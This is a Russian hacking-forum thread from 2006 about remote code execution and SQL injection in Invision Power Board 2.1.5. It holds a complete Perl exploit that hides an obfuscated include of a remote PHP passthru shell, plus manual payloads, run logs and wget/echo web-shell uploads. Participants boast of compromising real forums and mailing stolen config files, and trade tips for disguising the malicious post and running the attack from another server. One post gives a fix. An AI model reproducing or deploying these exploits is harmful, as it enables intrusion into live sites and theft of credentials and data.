PDA

Просмотр полной версии : Уязвимость Invision Power Board 2.1.5


Go0o$E
26.04.2006, 15:31
Программа: Invision Power Board
Уязвимые версии: 2.1.5 и, возможно, более ранние версии
Тип: remote
Опасность: высокая
Описание ->
1. Выполнение произвольного кода возможно из-за недостаточной фильтрации входящих от пользователя данных. Злонамеренный пользователь может сформировать текст сообщения, а затем выполнить произвольный код.
2. Подключение произвольных файлов возможно при наличии администраторских прав.
Пример:

_http://host/admin.php?adsess=…&section=content&act=msubs&code=install-gateway&name=%08%08%08%08%08%08%08%08%08/../class_gw_test*[/url]

3. SQL-инъекция в файле sources/lib/func_taskmanager.php
Злонамеренный пользователь может сформировать и выполнить произвольный запрос в базе данных (длина запроса не должна превышать 32 символа).
Пример:

_http://www.host.com/index.php?act=task&ck='

Решение: решения в настоящий момент не существует
Источник: spam_(at)_we11er.co.uk

SQL-инъекция работает, жаль ограничение 32 символа =(

Qwazar
26.04.2006, 16:58
А про пункт 1 подробности есть? Или это всё про тот же известный Xss ?

Otaku
26.04.2006, 17:32
Я не шибко понимаю в Sql. Какой нибудь толк от скуль иньекции есть этой? Ограничение есть ведь :(

tmp
26.04.2006, 20:54
вот здесь по подробней, надо пробовать
http://www.securityfocus.com/archive/1/431990/30/0/threaded

andre
27.04.2006, 02:04
## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2

#!/usr/bin/perl

## Invision Power Board 2.* commands execution exploit by RST/GHC
## vulnerable versions <= 2.1.5
## tested on 2.1.4, 2.0.2
##
## (c)oded by 1dt.w0lf
## RST/GHC
## http://rst.void.ru
## http://ghc.ru


use IO::Socket;
use Getopt::Std;

getopts("l:h:p:d:f:v:");

$host = $opt_h;
$dir = $opt_d;
$login = $opt_l;
$password = $opt_p;
$forum = $opt_f;
$version = $opt_v || 0;

$|++;

header();
if(!$host||!$dir||!$login||!$password||!$forum) { usage(); }

print "[~] SERVER : $host\r\n";
print "[~] PATH : $dir\r\n";
print "[~] LOGIN : $login\r\n";
print "[~] PASSWORD : $password\r\n";
print "[~] TARGET : $version";
print (($version)?(' - IPB 2.1.*'):(' - IPB 2.0.*'));
print "\r\n";

print "[~] Login ... ";

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$login =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$password =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$post = 'UserName='.$login.'&PassWord='.$password;
$loggedin = 0;
print $sock "POST ${dir}index.php?act=Login&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/session_id=([a-f|0-9]{32})/) { $sid = $1; }
}
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print $sock "GET ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{
if(/act=Login&amp;CODE=03/) { $loggedin = 1; last; }
}
if($loggedin) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[+] SID: $sid\r\n";

print "[~] Try get md5_check ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
if($version==1)
{
print $sock "GET ${dir}index.php?act=post&do=new_post&f=${forum} HTTP/1.1\r\n";
}
else
{
print $sock "GET ${dir}index.php?act=Post&CODE=00&f=${forum} HTTP/1.1\r\n";
}
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";
while (<$sock>)
{
if($version == 1 && /ipb_md5_check\s*= \"([a-f|0-9]{32})\"/) { $md5_check = $1; last; }
if($version == 0 && /auth_key' value='([a-f|0-9]{32})/) { $md5_check = $1; last; }
}
close($sock);
if($md5_check) { print " [ DONE ]\r\n"; print "[+] MD5_CHECK : $md5_check\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

print "[~] Create new message ...";
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
$created = 0;
$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr (116).chr(112).chr(58).chr(47).chr(47).chr(114).ch r(115).chr(116).chr(46).chr(118).chr(111).chr(105) .chr(100).chr(46).chr(114).chr(117).chr(47).chr(11 4).chr(53)'.
'.chr(55).chr(105).chr(112).chr(98).chr(105).chr(1 10).chr(99).chr(46).chr(116).chr(120).chr(116))); //';
$post = "st=0&act=Post&s=&f=${forum}&auth_key=${md5_check}&removeattachid=0&CODE=01&post_key=&TopicTitle=justxpl&TopicDesc=justxpl&poll_question=&ffont=0&fsize=0&Post=${text}&enableemo=yes&enablesig=yes&iconid=0";
print $sock "POST ${dir}index.php HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";
while (<$sock>)
{
if(/Location:/) { $created = 1; last; }
}
if($created) { print " [ DONE ]\r\n"; }
else { print " [ FAILED ]\r\n"; exit(); }

$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";
print "[~] Search message ...";
$post = 'keywords=r57ipbxplhohohoeval&namesearch='.$login.'&forums%5B%5D=all&searchsubs=1&prune=0&prune_type=newer&sort_key=last_post&sort_order=desc&search_in=posts&result_type=posts';
print $sock "POST ${dir}index.php?act=Search&CODE=01 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n";
print $sock "Content-Type: application/x-www-form-urlencoded\n";
print $sock "Content-length: ".length($post)."\r\n\r\n";
print $sock "$post";
print $sock "\r\n\r\n";

while (<$sock>)
{
if(/searchid=([a-f|0-9]{32})/) { $searchid = $1; last; }
}

if($searchid) { print " [ DONE ]\r\n"; }
else { print "[ FAILED ]\r\n"; exit(); }
print "[+] SEARCHID: $searchid\r\n";

$get = 'index.php?act=Search&CODE=show&searchid='.$searchid.'&search_in=posts&result_type=posts&highlite=r57ipbxplhohohoeval&lastdate=z|eval.*?%20//)%23e%00';

while ()
{
print "Command for execute or 'exit' for exit # ";
while(<STDIN>)
{
$cmd=$_;
chomp($cmd);
exit() if ($cmd eq 'exit');
last;
}
&run($cmd);
}

sub run()
{
$cmd =~ s/(.*);$/$1/eg;
$cmd =~ s/(.)/"%".uc(sprintf("%2.2x",ord($1)))/eg;
$cmd2 = '%65%63%68%6F%20%5F%53%54%41%52%54%5F%20%26%26%20' ;
$cmd2 .= $cmd;
$cmd2 .= '%20%26%26%20%65%63%68%6F%20%5F%45%4E%44%5F';
$sock = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$host", PeerPort => "80") || die "[-] CONNECTION FAILED";

print $sock "GET ${dir}${get}&eharniy_ekibastos=$cmd2 HTTP/1.1\r\n";
print $sock "Host: $host\r\n";
print $sock "Cookie: session_id=$sid;\r\n";
print $sock "Connection: close\r\n\r\n";

$on = 0;
$runned = 0;
while ($answer = <$sock>)
{
if ($answer =~ /^_END_/) { return 0; }
if ($on == 1) { print " $answer"; }
if ($answer =~ /^_START_/) { $on = 1; }
}
}

sub header()
{
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n";
print " Invision Power Board 2.* commands execution exploit by RST/GHC\r\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ ~~~~~~~~~~~~~~\r\n";
}

sub usage()
{
print "r57ipbce.pl -h <host> -d <dir> -l <login> -p <password> -f <forum> -v <version>\r\n\r\n";
print "<host> - host where IPB installed e.g www.ipb.com\r\n";
print "<dir> - folder where IPB installed e.g. /forum/ , /ipb/ , etc...\r\n";
print "<login> - login of any exist user\r\n";
print "<password> - and password too )\r\n";
print "<forum> - number of forum where user can create topic e.g 2,4, etc\r\n";
print "<version> - forum version:\r\n";
print " 0 - 2.0.*\r\n";
print " 1 - 2.1.*\r\n";
exit();
}


проверял на 2.1.5 - работает

EST a1ien
27.04.2006, 09:47
Rst/ghc опять порадовали нас свойми сплойтами и как всагда там какойнибудь сюрприз :)

jagga_man
27.04.2006, 09:50
да он есть 100% ) нужно копаться в коде)

0verfe1
27.04.2006, 11:14
у меня всё ок,почти тока когда надо выполнять команду,ввожу и всё равно ничего =)),сейчас буду пробывать на других форумах

[~] TARGET : 0 - IPB 2.0.*
[~] Login ... [ DONE ]
[+] SID: eba6aea1bb52b4e2b96e71496c1d019d
[~] Try get md5_check ... [ DONE ]
[+] MD5_CHECK : 37b1d4a901d9fa423421d1c3b04181c9
[~] Create new message ... [ DONE ]
[~] Search message ... [ DONE ]
[+] SEARCHID: 57404f05bbfa5153ffd009ac0782d291
Command for execute or 'exit' for exit # id
Command for execute or 'exit' for exit # ls -la
Command for execute or 'exit' for exit # uname -a
Command for execute or 'exit' for exit # exit

в чем может быть проблема ?

и ещё очень часто:

[~] Login ... [ DONE ]
[+] SID: 1cac47e9bc3eb086a6931ebb997d926b
[~] Try get md5_check ... [ FAILED ]

AoD
27.04.2006, 14:19
В сплоите в 95 строке есть зашифрованая в charsete ссылка _http://rst.void.ru/r57ipbinc.txt с содержимым


<?
/*
r57ipbce exploit include file
*/
passthru($_GET['eharniy_ekibastos']);
?>

Go0o$E
27.04.2006, 15:35
Очень даже хорошо работает exploit! Проверил на lineageii.ru.

0verfe1
27.04.2006, 16:06
да отлично работает =))) просто не на всех форумах

Azazel
27.04.2006, 16:31
Описание баги http://www.securityfocus.com/archive/1/431990/30/0/threaded
Ручками тоже работает замечательно.

Carle-On-Line
27.04.2006, 17:46
Так я не пойму, есть шифровка в сплойте или нет!?

limpompo
27.04.2006, 17:52
ЕСТЬ! тебе же сказали это в 9 посте

http://forum.antichat.ru/showpost.php?p=144011&postcount=9

Otaku
27.04.2006, 18:32
Хм... У меня сплойт пишет
[~] Create new message ... [ FILED ]

На форуме появляется новая тема с мессагой. В сообщении эта самая шифровка из 95 строки.

byte57
27.04.2006, 19:08
с шифровкой понятно, идем по линку, и по идее из того текстовика нужно вставить код в сплоит, чет не выходит, у кого получилось?

degeneration x
27.04.2006, 19:40
на 2.1.x не всегда работает. На 2.0.x всё ок! Отправил на мыло себе conf_global.php =))

Black_Death
28.04.2006, 16:20
На команды нету ответа...чё за нах?
Вот видео: http://globalka.narod.ru/exp.rar

nec
28.04.2006, 18:03
а если адресс форума не www.***/forum а www.forum.***.ru то как прописать?

злюка
28.04.2006, 18:20
-h www.forum.***.ru -d /

dasNICK
28.04.2006, 19:37
на 2.1.x не всегда работает. На 2.0.x всё ок! Отправил на мыло себе conf_global.php =))

А это какой командой если не секрет ?

злюка
28.04.2006, 22:13
А это какой командой если не секрет ?

например cat имя_файла| mail твоё_мыло

dasNICK
29.04.2006, 00:09
Оппа.. забавно..
А Shell в папку Uploads у меня не залился.. Или опять всё из-за врождённой криворукости ?

degeneration x
29.04.2006, 00:23
А это какой командой если не секрет ?

например cat имя_файла| mail твоё_мыло
да, именно этой.

Токо странно, почему не всегда получается выполнять команды, хотя я на 100% уверен, что форум не пропатчен. Иногда бывает ещё, что вместо того, чтобы вывести результат команды(например того-же ls -la), он мне выводит html код страницы. Странно всё это...

dasNICK
29.04.2006, 00:35
А по моему правильно ls -lia

Команда put запрещена для анонимов как известно.. А другой я не знаю.. Какой командой залить шелл если это вообще можно сделать

Rebz
29.04.2006, 00:57
инфа для админов:
Чтобы пофиксить данную багу, зайдите на http://ibresource.ru/ Там уже есть заплатки, которые можно скачать. В частности, >> здесь << (http://www.ibresource.ru/forums/index.php?showtopic=28488&st=0&p=176067&#entry176067)

Rebz
29.04.2006, 00:58
dasNICK, неважно, как .. ls -la; или ls- lia. Можно вообще просто ls.
-la - это просто параметры.

dasNICK
29.04.2006, 01:14
Знаю.. просто действительно ls -la не работет у меня а ls -lia пашет

oseLHAX
29.04.2006, 03:21
На команды нету ответа...чё за нах?
Вот видео: http://globalka.narod.ru/exp.rar
гы... бывают идиоты которые на виндовой тачке пытаются сделать ls -la; :D ROFL
малчык тыбэ скока лэт?
изучи команды cmd сначала.. dir пробуй.. если получиться значит точно надо учить..

Utochka
29.04.2006, 07:44
Может кто даст наводку как исправить сплойт, а то с перлом не очень дружу ((

Или в личку если нехотите писать тут, всем кто поможет + )

Tem
29.04.2006, 09:04
А что у тебя не пашет ?

degeneration x
29.04.2006, 09:22
Вот цитата с dl (http://damagelab.org/index.php?showtopic=5382&view=findpost&p=46460)


Тем, у кого эксплоит не выполняет команды:
Изучите внимательно сорец. Зная стиль Вульфа, я не мог не обратить внимания на эту строчку


$text = 'r57ipbxplhohohoeval(include(chr(104).chr(116).chr (116).chr(112).chr(58).
chr(47).chr(47).chr(114).chr(115).chr(116).chr(46) .chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114 ).chr(53)'.
'.chr(55).chr(105).chr(112).chr(98).chr(105).chr(1 10).chr(99).chr(46).chr(116).chr(120).chr(116))); //';

Несколько строк на перле - и вы увидите, что там скрывается. А когда увидите, то 100% поймете, почему команды могут не выполняться

Azazel
29.04.2006, 12:01
Описание баги http://www.securityfocus.com/archive/1/431990/30/0/threaded
Ручками тоже работает замечательно.
Для тех у кого не получается со сплойтом, опишу как пользоваться ручками.
1. Постим сообщение eval(system(dir)); //'
2. В поиске ищем по своему нику все сообщения и не забываем поставить галочку на Show results as posts
3. В конце url дописываем &lastdate=z|eval.*?%20//)%23e%00
4. Enter. Выполняется dir.

k1b0rg
29.04.2006, 12:26
чо вы все прицепились к сплойту а? он рабочий, на 2.1.* может иногда не работать.

для тренировки попробуйте

-h resa.ipbhost.com -d / -l Des -p 123 -f 48 -v 0

Black_Death
29.04.2006, 12:50
гы... бывают идиоты которые на виндовой тачке пытаются сделать ls -la; ROFL
малчык тыбэ скока лэт?
изучи команды cmd сначала.. dir пробуй.. если получиться значит точно надо учить..
Ну ты даёшь!!!)))) Еще раз тебе поясню: не выполняется ни одна команда и на одном форуме! На локалхосте спокойно должна выполняться команда echo, но она тож не пашет!!!

dasNICK
29.04.2006, 14:40
У меня всё отлично пашет.. Сплоит исправил.. НО !
Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа. Подскажите команду которой это можно мделать

k1b0rg
29.04.2006, 14:48
Кто знает как залить shell ??? put , get и прочее запрещены для анонимнгого доступа.

ну если put и get отказываються работать, попробуй header и post.

dasNICK
29.04.2006, 15:33
Эммм.. туплю конечно, но этих команд не знаю..
шел на C: как залить в аплоадс ? ))

Black_Death
29.04.2006, 16:02
Эммм.. туплю конечно, но этих команд не знаю..
шел на C: как залить в аплоадс ? ))
Если он у тебя на компе, то надо залить на сайт (ну на народе например) далее командой cd перейти в аплоадс и wget'ом залить туда шелл

злюка
29.04.2006, 16:36
вот у меня везде ошибки вида :
...
[~] Create new message ... [ FAILED ]
не подскажите в чем причина?

ну например вариант когда не у всех пользователей есть права постить сообщения

karapuz
29.04.2006, 17:24
вот теперь другая трабла, как шелл залить?

wget http://www.шелл/shell.php -P /cache/

не помогло, показывается html код какойто...
права записи на папки есть

tester
29.04.2006, 20:05
Search Message ...[ FAILED ] - chto za poisk soob4enija? ktonibut razbiralsja?

Utochka
29.04.2006, 20:49
tester - читай внимательно эту тему! тут все уже сказали

dasNICK
29.04.2006, 22:12
wget не пашет.. Кто залил шелл ?

Utochka
29.04.2006, 22:31
wget не пашет.. Кто залил шелл ?

Есть еще и другие качалки GET CURL и тд.

Azazel
29.04.2006, 22:38
Ребят, прекращаем оффтопить. Комманды типа wget, это уже не по сабжу. Смотрим в соответствующем разделе.

Dark Ne0
29.04.2006, 23:23
Полное руководство по применению сплоя :-)))
Способ применения:
Регимся на сайте
C://ex.pl -h www.host.ru -d forum -l Dark Ne0 -p pass -f 2 -v 2.1.*
-d Указываем директорию где находится форум
-l ваш логин
-p ваш пасс
-f номер форума где экс может создать тему
-v версия форума
Способ защиты:
Заходим sources/search.php(sources/action_public/search.php
Было

{
$this->output = preg_replace( "#(value=[\"']{$ibforums->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );
}

Заменить на

{
$ibforums->input['lastdate'] = intval($ibforums->input['lastdate']);
$this->output = preg_replace( "#(value=[\"']{$ibforums->input['lastdate']}[\"'])#i", "\\1 selected='selected'", $this->output );
}

Патча пока нет :)))
Терь уверен все вопросы отпадут

max_pain89
29.04.2006, 23:28
Да и помним, что запуская не чищеный сплойт ты отдаешь этот шелл в руки РСТ.

Dark Ne0
30.04.2006, 00:06
Но все равно отследить взломщика по запросу не составит труда !!!
Так что лучше с начала подумать что ломать

Lord Nikon
30.04.2006, 00:25
я так и не понял как убрать шифровку,помогите.
Спасибо!

Desr0w
30.04.2006, 02:22
чо вы все прицепились к сплойту а? он рабочий, на 2.1.* может иногда не работать.

для тренировки попробуйте

-h resa.ipbhost.com -d / -l Des -p 123 -f 48 -v 0
Хых,мой пост на рст,что не узнали:)Des =Desr0w )))
Видео с использованием данного сплойта:http://forum.antichat.ru/thread18337.html

Grrl
30.04.2006, 02:42
сплойт интересный но пользоваться им в чистом виде не стоит.во первых он инклудит файл с сайта рст и светится у них в логах во вторых он оставляет слишком "паливный" пост.
Если уж кто пользуется им в исходном виде то хотябы сделайте это находим -
$post = "st=0&act=Post
изменяем переменные &TopicTitle=MY_COOL_TOPICK&TopicDesc=MY_COOL_DESC
нахлдим строку
$text = 'r57ipbxp...
дописываем в начале чото типа
$text ='MY_COOL_POST [color=#EFEFEF} r57ipbxplhohohoeval(include(chr(10.........)); //[/color}';
это создаст иллюзиб поста и замаскирует код цвет подбирать под форум (скобки в конце заменить на нормальные)
запускать это дело естественно лучше с какогонить шела а не со своего компа..

Desr0w
30.04.2006, 02:52
Grrl,
хех,инклудится чтобы можно было команды передавать через get;)

Grrl
30.04.2006, 03:02
Grrl,
хех,инклудится чтобы можно было команды передавать через get;)
правда? хм а я думала это для тогочтобы вампиров отпугивать спасибо что просвятил..

Desr0w
30.04.2006, 03:08
+ на поднятие настроение поставил:)

Desr0w
30.04.2006, 04:09
Да и помним, что запуская не чищеный сплойт ты отдаешь этот шелл в руки РСТ.
Обоснуй plzz

gimlis
30.04.2006, 15:11
Без сплойта больше функциональности.

+toxa+
30.04.2006, 17:28
Обоснуй plzz
Имеется ввиду ситуация как со сплойтом для пхпбб 2.0.19 на исполнение команд, когда сплойт отсылал логин, пасс админа и урл форума на родной сайт РСТ....

Desr0w
30.04.2006, 17:57
+toxa+,ну мля х3.Я не думаю что этим парням это нужно

+toxa+
30.04.2006, 18:08
2 Desr0w
Факт остаётся фактом

ССЫЛОЧКА (http://forum.antichat.ru/showpost.php?p=137567&postcount=18)

AoD
30.04.2006, 20:09
Разобрался в сырцах ничего там не отправляется на Rst кроме того факта что сплоит палит себя на форуме сообщением ну дык это ручками подправить не проблема. А вобще делайте всё ручками и будет всё ок!

Tem
30.04.2006, 21:20
Как объяснил Azazel, всё работает в точнасти, и в 2 1 4 и в 2 1 5, ужи иемются шеллы ))) можит и видео сниму )))

gimlis
30.04.2006, 21:45
можит и видео сниму )))
Уже снято и отправлено, правда не выложено.
http://rapidshare.de/files/19287127/video.rar.html

sexxx
01.05.2006, 01:11
Что когда выполняю UPDATE `ibf_members` SET 'mgroup'=4 WHERE `id` =2941;
Получаю ошибку
Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''mgroup'=4 WHERE `id` =2941' at line 1

Desr0w
01.05.2006, 01:27
Ну если вы про видео этого форума сплойтом,то http://video.antichat.ru/file195.html

sexxx
01.05.2006, 01:51
Всё понял ошибку.

xdye
01.05.2006, 03:39
Народ

вот что получул через смену аватара на 2.1.4

forum_read=a%3A2%3A%7Bi%3A46%3Bi%3A1145891111%3Bi% 3A48%3Bi%3A1145994180%3B%7D;
member_id=35312; pass_hash=138e13288c04d1d2c6bcd39cc072a76b

через index.php?act=task&ck=%27 не вушло пусто)
что мне предложете? Мне не надо права админа, прсто надо права к ноступу клиенсткого раздела
на форуме

degeneration x
01.05.2006, 09:20
Смотри видео, там всё понятно.

http://rapidshare.de/files/19287127/video.rar.html

TRes
01.05.2006, 09:55
Хммм... Код поправил, но ни одной команды не выполняется... Пробую на локалхосте, версия форума 2.0.3

gimlis
01.05.2006, 10:45
Что когда выполняю UPDATE `ibf_members` SET 'mgroup'=4 WHERE `id` =2941;
Получаю ошибку
Error : You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''mgroup'=4 WHERE `id` =2941' at line 1
Надо не 'mgroup' а `mgroup` в обратны кавычках.

Otaku
01.05.2006, 11:07
xdye
Или просто жди когда на сниффер придёт

ipbforumpass_№форума=хеш пароля к форуму;
И подставь в куки.

ysmat
01.05.2006, 14:01
можно ли этим сполитом получить
хеш пароля юзера
если да то какие команды нужно вводить

sexxx
01.05.2006, 14:45
Надо не 'mgroup' а `mgroup` в обратны кавычках.
ТАк я же написал что понялсвою ошибку.
2 TRes
ТЫ попробуй всё получится.

xdye
01.05.2006, 15:32
Парни! Спосибо конечно всем НО я что то не пойму одног...
видео я глядел и сломал форум по нему точь точь как вы описали!
Но этот форум который я хочу взламать всгда куча народа да и ошибли

mySQL query error: SELECT * FROM ibf_task_manager WHERE task_cronkey='''

SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
SQL error code:
Date: Sunday 30th of April 2006 03:05:10 PM

Там не дает просто белая страничка, еще одно Otaku пишет то на сниффер придёт
а если у меня нет снифера куда тогда оно предет? ) ладно если будет минутка помогите
разабратся) спосибо

Utochka
01.05.2006, 15:40
Там не дает просто белая страничка, еще одно Otaku пишет то на сниффер придёт
а если у меня нет снифера куда тогда оно предет? ) ладно если будет минутка помогите
разабратся) спосибо

Да чувак ты жжошь, особенно про снифер. ) гы. Ну ты сам подумай если у тебя нет снифера куда оно придет )) ахаха..

Снифер мона юзать ачатовский. http://antichat.ru/sniff/ вроде так )

gimlis
01.05.2006, 15:45
Парни! Спосибо конечно всем НО я что то не пойму одног...
видео я глядел и сломал форум по нему точь точь как вы описали!
Но этот форум который я хочу взламать всгда куча народа да и ошибли

mySQL query error: SELECT * FROM ibf_task_manager WHERE task_cronkey='''

SQL error: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1
SQL error code:
Date: Sunday 30th of April 2006 03:05:10 PM

Там не дает просто белая страничка, еще одно Otaku пишет то на сниффер придёт
а если у меня нет снифера куда тогда оно предет? ) ладно если будет минутка помогите
разабратся) спосибо
Делай по видео. Проверка на вшивость идет по другой дырке - три дырки были опубликованы вместе.

Lord Nikon
01.05.2006, 16:08
блин не понимаю как сплойт исправить что он работал?Или это все чуш =).

gimlis
01.05.2006, 16:14
блин не понимаю как сплойт исправить что он работал?Или это все чуш =).
Зачем сплойт ставить в этой теме 1-2 страницы назад я кидал ссылку на видео без сплойта

xdye
01.05.2006, 16:16
Только что попробывал, посе того как нашол тему
добавил &lastdate=z|eval.*?%20//)%23e%00 и вообще
нечего не прозашло! :( я в шоке

haZard0us
01.05.2006, 16:38
такой рульный сплоит, много полезного достал =)

Sanyk36
01.05.2006, 18:06
Добавил &lastdate=z|eval.*?%20//)%23e%00 и появилась вверху такая надпись:
IPB WARNING [2] include() [function.include]: URL file-access is disabled in the server configuration (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
IPB WARNING [2] include(http://rst.void.ru/download/r57shell.txt) [function.include]: failed to open stream: no suitable wrapper could be found (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
IPB WARNING [2] include() [function.include]: Failed opening 'http://rst.void.ru/download/r57shell.txt' for inclusion (include_path='.:/opt/php/lib/php:/home/users/e/evsu/incs') (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
На локалке всё прошло на ура, а вот уже в инете так.

xdye
01.05.2006, 18:31
Да сейчас много где это идет на ура (мега респект автару) но то что мне действительно нодо не кактит...

Otaku
01.05.2006, 18:51
Там не дает просто белая страничка, еще одно Otaku пишет то на сниффер придёт
а если у меня нет снифера куда тогда оно предет? ) ладно если будет минутка помогите
разабратся) спосибо
Аффтар ты!!!
Например вот неплохой сниффер ресурс:
http://s.netsec.ru/

gimlis
01.05.2006, 18:59
Добавил &lastdate=z|eval.*?%20//)%23e%00 и появилась вверху такая надпись:
IPB WARNING [2] include() [function.include]: URL file-access is disabled in the server configuration (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
IPB WARNING [2] include(http://rst.void.ru/download/r57shell.txt) [function.include]: failed to open stream: no suitable wrapper could be found (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
IPB WARNING [2] include() [function.include]: Failed opening 'http://rst.void.ru/download/r57shell.txt' for inclusion (include_path='.:/opt/php/lib/php:/home/users/e/evsu/incs') (Line: 1 of /sources/action_public/search.php(1263) : regexp code(1) : eval()'d code)
На локалке всё прошло на ура, а вот уже в инете так.
Запрещено использование include попробуйте с помощью php фаила, приложенного в архиве закодить что-нибудь наподобии.
$file=join("",file("http://rst.void.ru/download/r57shell.txt"));
eval($file);
и его заслать

Azazel
02.05.2006, 10:49
Обсуждение скульника тут http://forum.antichat.ru/thread18495.html
XSS тут http://forum.antichat.ru/thread17358.html

L1on
02.05.2006, 15:53
Очень даже хорошо работает exploit! Проверил на lineageii.ru.

Не знаю почему, но на форуме lineageii.ru, у меня не выполняются никакие команды, ни под винду, ни под линукс. Хотя тема создаётся... Если делаю ручками, то тож не пашет.
Кстати часто на форумах сплойт не воспроизводит команды, а ручками всё работает. Может это из-за того что я не правил сплойт...

И ещё: когда я постю сообщение, например eval(system(ls)); //'
то при поиске выдаёт файлы, лежащие на сервере, а когда например:
eval(system(ls -la)); //'
то мне выдаётся:
IPB WARNING [2] system(): Cannot execute a blank command (Line: 1 of /sources/search.php(1236) : regexp code)

Почему так?

Tem
02.05.2006, 15:59
Они уже пропатчили форум.

Grema
02.05.2006, 16:46
я нашол форум ломаемы.... но он на винде... там пашет dir, md и т.д.
как можно закачать шелл или скачать сонфиг... бо не получаеться! =(

max_pain89
02.05.2006, 17:39
я нашол форум ломаемы.... но он на винде... там пашет dir, md и т.д.
как можно закачать шелл или скачать сонфиг... бо не получаеться! =(

Шелл примерно так. Узнай путь и напиши выполни.

echo "<? include($xxx); ?>" > c:\xxx2.txt

причем файл создаться с ковычками, но они не должны повлиять на код.

Или как показано в http://video.antichat.ru/file196.html через ФТП команды.

а линуксовская команда CAT равнозначна мелкомягкой TYPE
(type c:\xxx2.txt)

4lex
02.05.2006, 18:16
а если сервак на linux, echo ведь прокатит?

вот такой код

echo "<? system($_GET['c']) ?> " > ./shell.php

запишет в shell.php строку с system? а то у меня не получается.
и еще как то странно себя ведет wget я делаю cd ./uploads/; wget _http://serv/shell.php;

вроде бы записывает в файл, файл появляеться. но когда его запускаю, он показывает файлы с моего сервера... что делать?

+toxa+
02.05.2006, 22:58
Статейка в тему, думаю полезно будет...



Совсем недавно появился эксплоит для удаленного исполнения команд в популярном форуме Invision Power Board.
Уязвимость, к слову говоря, кроется в файле sources/action_public/search.php, в регулярном выражении. Выполнив определенные действия, злонамеренный пользователь получал веб-шелл. Товарищ 1dt.w0lf из команды RST не теряя времени написал эксплоит для этой уязвимости. По-моему, это был первый паблик-эксплоит для этой дыры. Однако с эксплоитом у многих возникают проблемы: команды не выполняются. Нет, в самом эксплоите никакой ошибки нет, просто Вульф пошел по пути меньшего сопротивления, нежели авторы других эксплоитов для этой уязвимости.
Давайте обратим внимание на эту строку (#95)

$text = ‘r57ipbxplhohohoeval(include(chr(104).chr(116).c hr(116).chr(112).
chr(58).chr(47).chr(47).chr(114).chr(115).chr(116) .chr(46).chr(118).chr(111).chr(105).
chr(100).chr(46).chr(114).chr(117).chr(47).chr(114 ).chr(53)’.
‘.chr(55).chr(105).chr(112).chr(98).chr(105).chr (110).chr(99).chr(46).chr(116).
chr(120).chr(116))); //’;

Напишем небольшой скрипт на perl и посмотрим, что же скрывается в этой строке. А скрывается там строка
http://rst.void.ru/r57ipbinc.txt
А вот и содержание этого текстового файла:

<?
/*
r57ipbce exploit include file
*/
passthru($_GET[’eharniy_ekibastos’]);
?>

То есть в eval выполняется инклюд удаленного файла. Ловушки тут никакой нет, просто так проще получить шелл. Однако далеко не на всех серверах возможен инклюд удаленных файлов (чаще всего причина - allow_url_fopen=0). Тупик? Нет! Сейчас я вам расскажу, как эксплуатировать эту ошибку вручную. И вы увидите, что это вовсе не сложно.
Итак, перво-наперво, найдем себе подходящую жертву. Я выбрал IPB 2.1.5 (доступный по адресу 127.0.0.1 естественно).
Залогинимся (зарегистрируемся, если еще не сделали этого), перейдем в форум, где мы можем оставлять сообщения.
Создаем сообщение, содержащее текст:

eval(phpinfo()); //

